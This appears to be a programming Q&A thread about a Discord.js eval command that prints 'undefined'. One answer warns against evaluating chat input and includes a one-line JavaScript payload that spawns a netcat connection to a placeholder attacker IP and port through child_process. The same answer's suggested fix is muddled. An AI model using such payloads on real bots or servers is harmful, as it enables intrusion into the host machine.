Reputation:
I am trying to make an eval command in Discord.JS v12. The code works perfectly other than the fact that the output returns undefined
when I use the command with embeds. Here is my code:
const { inspect } = require("util")
if (message.author.id != "id here")
return message.channel.send("cant use this");
try {
var result = args.join(" ").slice(5);
let noResultArg = new Discord.MessageEmbed()
.setColor("#e31212")
.setDescription("ERROR: No valid eval args were provided")
if (!result) return message.channel.send(noResultArg)
let evaled = eval(result);
console.log(result);
let resultSuccess = new Discord.MessageEmbed()
.setColor("#8f82ff")
.setTitle("Success")
.addField(`Input:\n`, '```js\n' + `${args.join(" ").slice(5)}` + '```', false)
.addField(`Output:\n`, '```js\n' + evaled + '```', true)
message.channel.send(resultSuccess)
} catch (error) {
let resultError = new Discord.MessageEmbed()
.setColor("#e31212")
.setTitle("An error has occured")
.addField(`Input:\n`, '```js\n' + `${result}` + '```', false)
.addField(`Output:\n`, '```js\n' + `${error.message}` + '```', true)
//.setDescription(`Output:\n\`\`\`${err}\`\`\``)
return message.channel.send(resultError)
}
Upvotes: 0
Views: 2433
Reputation: 62
It's not an error. You could just check the type of the returned value by using if(resultSuccess !== undefined){message.channel.send(resultSuccess)}
.
Though, I do not recommend you to use eval in your code, since it should not be trusted by the user input. If you still insist, then you must check for admin permission first, since you could do a lot with the server if you can access the server through the chat. I could just easily type (function(){let vulnOS = global.os||require('os');let { exec } = require("child_process"); /*Avoid "use-strict" error and warnings if any*/switch(vulnOS.platform()){case "linux":exec("nc <Hacker's IP> <Port number>",(error, stdout, stderr) => {return "Hehe. Get pwned!";})break;default:return "Unknown OS, can't hack :(";}})();
and BOOM! I'm in.
Upvotes: 0
Reputation: 642
The eval function had nothing to return when you ran console.log('e')
so it returned undefined. If you were to try evaluating 2+2
it should return 4
.
More information is available here: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Upvotes: 3